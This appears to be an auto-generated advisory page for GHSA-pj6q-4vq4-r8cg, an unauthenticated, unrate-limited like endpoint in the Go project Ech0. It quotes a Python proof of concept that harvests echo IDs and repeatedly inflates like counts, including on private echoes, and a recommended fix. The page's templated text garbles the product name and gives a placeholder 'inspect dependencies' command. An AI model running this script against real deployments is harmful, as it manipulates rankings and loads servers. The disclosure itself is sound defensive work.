GHSA-pj6q-4vq4-r8cg: Ech0 allows PUT /api/echo/like/ Id Unauthenticated: Anonymous Callers To Vulnerability

MODERATE
CVSS 6.5
CWE-770 CWE-862
Published
Advisory Summary

GHSA-pj6q-4vq4-r8cg is a MODERATE (CVSS 6.5) id unauthenticated: anonymous callers to vulnerability (CWE-770: Allocation of Resources Without Limits or Throttling) affecting Ech0 allows PUT /api/echo/like/ libraries in the Go ecosystem. The issue involves id unauthenticated: anonymous callers to modify any echo's fav_count. Remediation is available by upgrading affected packages to version 1.4.8-0.20260503035905-cecc2c19b590.

GHSA-pj6q-4vq4-r8cg at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-pj6q-4vq4-r8cg
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-770: Allocation of Resources Without Limits or Throttling
Affected Product Ech0 allows PUT /api/echo/like/
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity Low (I:L)
Availability Low (A:L)

How to Fix GHSA-pj6q-4vq4-r8cg

To remediate this vulnerability, upgrade all affected Ech0 allows PUT /api/echo/like/ dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/lin-snow/Ech0 fixed: 1.4.8-0.20260503035905-cecc2c19b590
Upgrade github.com/lin-snow/Ech0 to 1.4.8-0.20260503035905-cecc2c19b590
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/lin-snow/Ech0

How to Check if You Are Affected

To determine whether your application is affected by GHSA-pj6q-4vq4-r8cg, inspect your project dependencies for Ech0 allows PUT /api/echo/like/:

inspect dependencies for github.com/lin-snow/Ech0

Analyze the terminal output to locate any version of Ech0 allows PUT /api/echo/like/ in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.4.8-0.20260503035905-cecc2c19b590), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-770: Allocation of Resources Without Limits or Throttling, where the product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. In Ech0 allows PUT /api/echo/like/, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary `PUT /api/echo/like/:id` at `internal/router/echo.go:12` is registered on `PublicRouterGroup` with no authentication and no rate limit. Anonymous callers increment the `fav_count` counter on any echo (including private echoes) by UUID, repeat the request without deduplication, and trigger a database write plus a four-key cache invalidation on every call. Alice harvests echo UUIDs from the public `GET /api/echo/page` response, inflates fav counts at will, and spams writes to amplify load on the DB and cache layers. ## Details Route registration at `internal/router/echo.go:12`: ```go appRouterGroup.PublicRouterGroup.PUT("/echo/like/:id", h.EchoHandler.LikeEcho()) ``` `PublicRouterGroup` is `r.Group("/api")` without the JWT middleware that `AuthRouterGroup` applies. The handler passes through to `EchoService.LikeEcho`, which calls `EchoRepository.LikeEcho` at `internal/repository/echo/echo.go:270`: ```go func (echoRepository *EchoRepository) LikeEcho(ctx context.Context, id string) error { var exists bool if err := echoRepository.getDB(ctx).Model(&model.Echo{}). Select("count(*) > 0").Where("id = ?", id).Find(&exists).Error; err != nil { return err } if !exists { return errors.New(commonModel.ECHO_NOT_FOUND) } if err := echoRepository.getDB(ctx).Model(&model.Echo{}). Where("id = ?", id). UpdateColumn("fav_count", gorm.Expr("fav_count + ?", 1)).Error; err != nil { return err } return nil } ``` No viewer check, no ownership check, no private-flag check. Compare the read path at `EchoService.GetEchoById` (`internal/service/echo/echo.go:275-300`) which rejects anonymous readers on private echoes; the like path skips that gate. `InvalidateEchoCaches` (`internal/repository/echo/echo.go:51-58`) clears the page cache, today cache, RSS cache, and per-echo cache on every like. Comment creation on the same router group runs behind `checkRateLimit` (`internal/service/comment/comment.go:731-766`, 3 per 60 s per IP plus 20 per 3600 s); the like endpoint has no such middleware. ## Proof of Concept Default install, anonymous caller on the network: ```python import requests TARGET = "http://localhost:8300" # 1) Discover an echo UUID from the public feed (no auth). page = requests.get(f"{TARGET}/api/echo/page?page=1&pageSize=1").json() echo_id = page["data"]["items"][0]["id"] # 2) Like it. Repeat without deduplication. for i in range(3): r = requests.put(f"{TARGET}/api/echo/like/{echo_id}") print(f"public like #{i+1}: HTTP {r.status_code} {r.text}") # 3) Like a private echo by UUID. Private echoes never appear in /api/echo/page, # but the UUID arrives via other channels (logs, referer, shared drafts). private_id = "019daf77-4a97-7c4c-a63c-791b10ecfd0b" # admin-created private echo r = requests.put(f"{TARGET}/api/echo/like/{private_id}") print(f"private like: HTTP {r.status_code} {r.text}") ``` Observed on v4.5.6 in the test container: ``` public like #1: HTTP 200 {"code":1,"msg":"点赞Echo成功","data":null} public like #2: HTTP 200 {"code":1,"msg":"点赞Echo成功","data":null} public like #3: HTTP 200 {"code":1,"msg":"点赞Echo成功","data":null} private like: HTTP 200 {"code":1,"msg":"点赞Echo成功","data":null} ``` The same IP likes the same echo three times without 429 or dedup. The private-echo like (UUID `019daf77-4a97...`) succeeded even though `GetEchosById` would refuse to read that echo for an anonymous caller. ## Impact Anonymous, rate-limit-free writes against any echo's `fav_count`. Direct impact: - **Popularity signal destruction.** fav_count powers the `hot` feed; a single script skews the ranking at will. - **Private-boundary bypass.** Private-flagged echoes remain non-readable, but they accept likes from anyone who knows the UUID. UUIDs leak through logs, referer headers on shared drafts, and the owner's browser history. - **Server and cache load.** Every call triggers a SQLite `UPDATE` transaction plus four cache-key invalidations. A single attacker from one IP drives sustained writes and forces cache stampedes for every concurrent reader. Reachability is anonymous. No credentials, no tokens, no session. Every Ech0 deployment that exposes port 6277 is reachable. ## Recommended Fix Move the route to `AuthRouterGroup` so JWT middleware applies, add a per-user dedup gate, and rate-limit at the middleware layer: ```go appRouterGroup.AuthRouterGroup.PUT( "/echo/like/:id", middleware.RateLimit(5, 10), h.EchoHandler.LikeEcho(), ) ``` At the service layer, check the private flag and record the user/echo pair in a join table to prevent repeat increments from the same user: ```go func (s *EchoService) LikeEcho(ctx context.Context, id string) error { userID := viewer.MustFromContext(ctx).UserID() if userID == "" { return errors.New(commonModel.NO_PERMISSION_DENIED) } echo, err := s.echoRepository.GetEchosById(ctx, id) if err != nil || echo == nil { return errors.New(commonModel.ECHO_NOT_FOUND) } if echo.Private { user, err := s.commonService.CommonGetUserByUserId(ctx, userID) if err != nil || !user.IsAdmin { return errors.New(commonModel.NO_PERMISSION_DENIED) } } return s.echoRepository.LikeEchoOnce(ctx, id, userID) } ``` --- *Found by [aisafe.io](https://aisafe.io)*

GHSA-pj6q-4vq4-r8cg Affected Ech0 allows PUT /api/echo/like/ Versions

1 component(s)
Fixed Versions:
1.4.8-0.20260503035905-cecc2c19b590
Product / Package Ecosystem Affected Versions Fixed Version
github.com/lin-snow/Ech0
Go
< 1.4.8-0.20260503035905-cecc2c19b590
1.4.8-0.20260503035905-cecc2c19b590

References

Frequently Asked Questions

What is GHSA-pj6q-4vq4-r8cg?
GHSA-pj6q-4vq4-r8cg is a security vulnerability in Ech0 allows PUT /api/echo/like/ involving id unauthenticated: anonymous callers to modify any echo's fav_count under CWE-770: Allocation of Resources Without Limits or Throttling.
Which Ech0 allows PUT /api/echo/like/ versions are affected?
Affected versions include releases prior to 1.4.8-0.20260503035905-cecc2c19b590 across affected packages: github.com/lin-snow/Ech0.
What version fixes GHSA-pj6q-4vq4-r8cg?
Upgrading to 1.4.8-0.20260503035905-cecc2c19b590 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/lin-snow/Ech0 affected?
Yes, github.com/lin-snow/Ech0 is affected in releases prior to 1.4.8-0.20260503035905-cecc2c19b590. Upgrade your dependency to 1.4.8-0.20260503035905-cecc2c19b590 or later.
What is the CVSS score of GHSA-pj6q-4vq4-r8cg?
GHSA-pj6q-4vq4-r8cg has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L.
What CWE is associated with GHSA-pj6q-4vq4-r8cg?
GHSA-pj6q-4vq4-r8cg is classified under CWE-770: Allocation of Resources Without Limits or Throttling (The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.).
How can I check Go dependencies for GHSA-pj6q-4vq4-r8cg?
Run the dependency tree command: 'inspect dependencies for github.com/lin-snow/Ech0'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-pj6q-4vq4-r8cg",
  "modified" : "2026-05-07T21:23:57Z",
  "published" : "2026-05-07T21:23:57Z",
  "aliases" : [ ],
  "summary" : "Ech0 allows PUT /api/echo/like/:id unauthenticated: anonymous callers to modify any echo's fav_count",
  "details" : "## Summary\n\n`PUT /api/echo/like/:id` at `internal/router/echo.go:12` is registered on `PublicRouterGroup` with no authentication and no rate limit. Anonymous callers increment the `fav_count` counter on any echo (including private echoes) by UUID, repeat the request without deduplication, and trigger a database write plus a four-key cache invalidation on every call. Alice harvests echo UUIDs from the public `GET /api/echo/page` response, inflates fav counts at will, and spams writes to amplify load on the DB and cache layers.\n\n## Details\n\nRoute registration at `internal/router/echo.go:12`:\n\n```go\nappRouterGroup.PublicRouterGroup.PUT(\"/echo/like/:id\", h.EchoHandler.LikeEcho())\n```\n\n`PublicRouterGroup` is `r.Group(\"/api\")` without the JWT middleware that `AuthRouterGroup` applies. The handler passes through to `EchoService.LikeEcho`, which calls `EchoRepository.LikeEcho` at `internal/repository/echo/echo.go:270`:\n\n```go\nfunc (echoRepository *EchoRepository) LikeEcho(ctx context.Context, id string) error {\n    var exists bool\n    if err := echoRepository.getDB(ctx).Model(&model.Echo{}).\n        Select(\"count(*) > 0\").Where(\"id = ?\", id).Find(&exists).Error; err != nil {\n        return err\n    }\n    if !exists {\n        return errors.New(commonModel.ECHO_NOT_FOUND)\n    }\n    if err := echoRepository.getDB(ctx).Model(&model.Echo{}).\n        Where(\"id = ?\", id).\n        UpdateColumn(\"fav_count\", gorm.Expr(\"fav_count + ?\", 1)).Error; err != nil {\n        return err\n    }\n    return nil\n}\n```\n\nNo viewer check, no ownership check, no private-flag check. Compare the read path at `EchoService.GetEchoById` (`internal/service/echo/echo.go:275-300`) which rejects anonymous readers on private echoes; the like path skips that gate. `InvalidateEchoCaches` (`internal/repository/echo/echo.go:51-58`) clears the page cache, today cache, RSS cache, and per-echo cache on every like. Comment creation on the same router group runs behind `checkRateLimit` (`internal/service/comment/comment.go:731-766`, 3 per 60 s per IP plus 20 per 3600 s); the like endpoint has no such middleware.\n\n## Proof of Concept\n\nDefault install, anonymous caller on the network:\n\n```python\nimport requests\nTARGET = \"http://localhost:8300\"\n\n# 1) Discover an echo UUID from the public feed (no auth).\npage = requests.get(f\"{TARGET}/api/echo/page?page=1&pageSize=1\").json()\necho_id = page[\"data\"][\"items\"][0][\"id\"]\n\n# 2) Like it. Repeat without deduplication.\nfor i in range(3):\n    r = requests.put(f\"{TARGET}/api/echo/like/{echo_id}\")\n    print(f\"public like #{i+1}: HTTP {r.status_code} {r.text}\")\n\n# 3) Like a private echo by UUID. Private echoes never appear in /api/echo/page,\n#    but the UUID arrives via other channels (logs, referer, shared drafts).\nprivate_id = \"019daf77-4a97-7c4c-a63c-791b10ecfd0b\"  # admin-created private echo\nr = requests.put(f\"{TARGET}/api/echo/like/{private_id}\")\nprint(f\"private like: HTTP {r.status_code} {r.text}\")\n```\n\nObserved on v4.5.6 in the test container:\n\n```\npublic like #1: HTTP 200 {\"code\":1,\"msg\":\"点赞Echo成功\",\"data\":null}\npublic like #2: HTTP 200 {\"code\":1,\"msg\":\"点赞Echo成功\",\"data\":null}\npublic like #3: HTTP 200 {\"code\":1,\"msg\":\"点赞Echo成功\",\"data\":null}\nprivate like: HTTP 200 {\"code\":1,\"msg\":\"点赞Echo成功\",\"data\":null}\n```\n\nThe same IP likes the same echo three times without 429 or dedup. The private-echo like (UUID `019daf77-4a97...`) succeeded even though `GetEchosById` would refuse to read that echo for an anonymous caller.\n\n## Impact\n\nAnonymous, rate-limit-free writes against any echo's `fav_count`. Direct impact:\n\n- **Popularity signal destruction.** fav_count powers the `hot` feed; a single script skews the ranking at will.\n- **Private-boundary bypass.** Private-flagged echoes remain non-readable, but they accept likes from anyone who knows the UUID. UUIDs leak through logs, referer headers on shared drafts, and the owner's browser history.\n- **Server and cache load.** Every call triggers a SQLite `UPDATE` transaction plus four cache-key invalidations. A single attacker from one IP drives sustained writes and forces cache stampedes for every concurrent reader.\n\nReachability is anonymous. No credentials, no tokens, no session. Every Ech0 deployment that exposes port 6277 is reachable.\n\n## Recommended Fix\n\nMove the route to `AuthRouterGroup` so JWT middleware applies, add a per-user dedup gate, and rate-limit at the middleware layer:\n\n```go\nappRouterGroup.AuthRouterGroup.PUT(\n    \"/echo/like/:id\",\n    middleware.RateLimit(5, 10),\n    h.EchoHandler.LikeEcho(),\n)\n```\n\nAt the service layer, check the private flag and record the user/echo pair in a join table to prevent repeat increments from the same user:\n\n```go\nfunc (s *EchoService) LikeEcho(ctx context.Context, id string) error {\n    userID := viewer.MustFromContext(ctx).UserID()\n    if userID == \"\" {\n        return errors.New(commonModel.NO_PERMISSION_DENIED)\n    }\n    echo, err := s.echoRepository.GetEchosById(ctx, id)\n    if err != nil || echo == nil {\n        return errors.New(commonModel.ECHO_NOT_FOUND)\n    }\n    if echo.Private {\n        user, err := s.commonService.CommonGetUserByUserId(ctx, userID)\n        if err != nil || !user.IsAdmin {\n            return errors.New(commonModel.NO_PERMISSION_DENIED)\n        }\n    }\n    return s.echoRepository.LikeEchoOnce(ctx, id, userID)\n}\n```\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/lin-snow/Ech0"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.4.8-0.20260503035905-cecc2c19b590"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/lin-snow/Ech0/security/advisories/GHSA-pj6q-4vq4-r8cg"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/lin-snow/Ech0/commit/cecc2c19b590df85d79ea98457faa143130cd620"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/lin-snow/Ech0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-770", "CWE-862" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-07T21:23:57Z",
    "nvd_published_at" : null
  }
}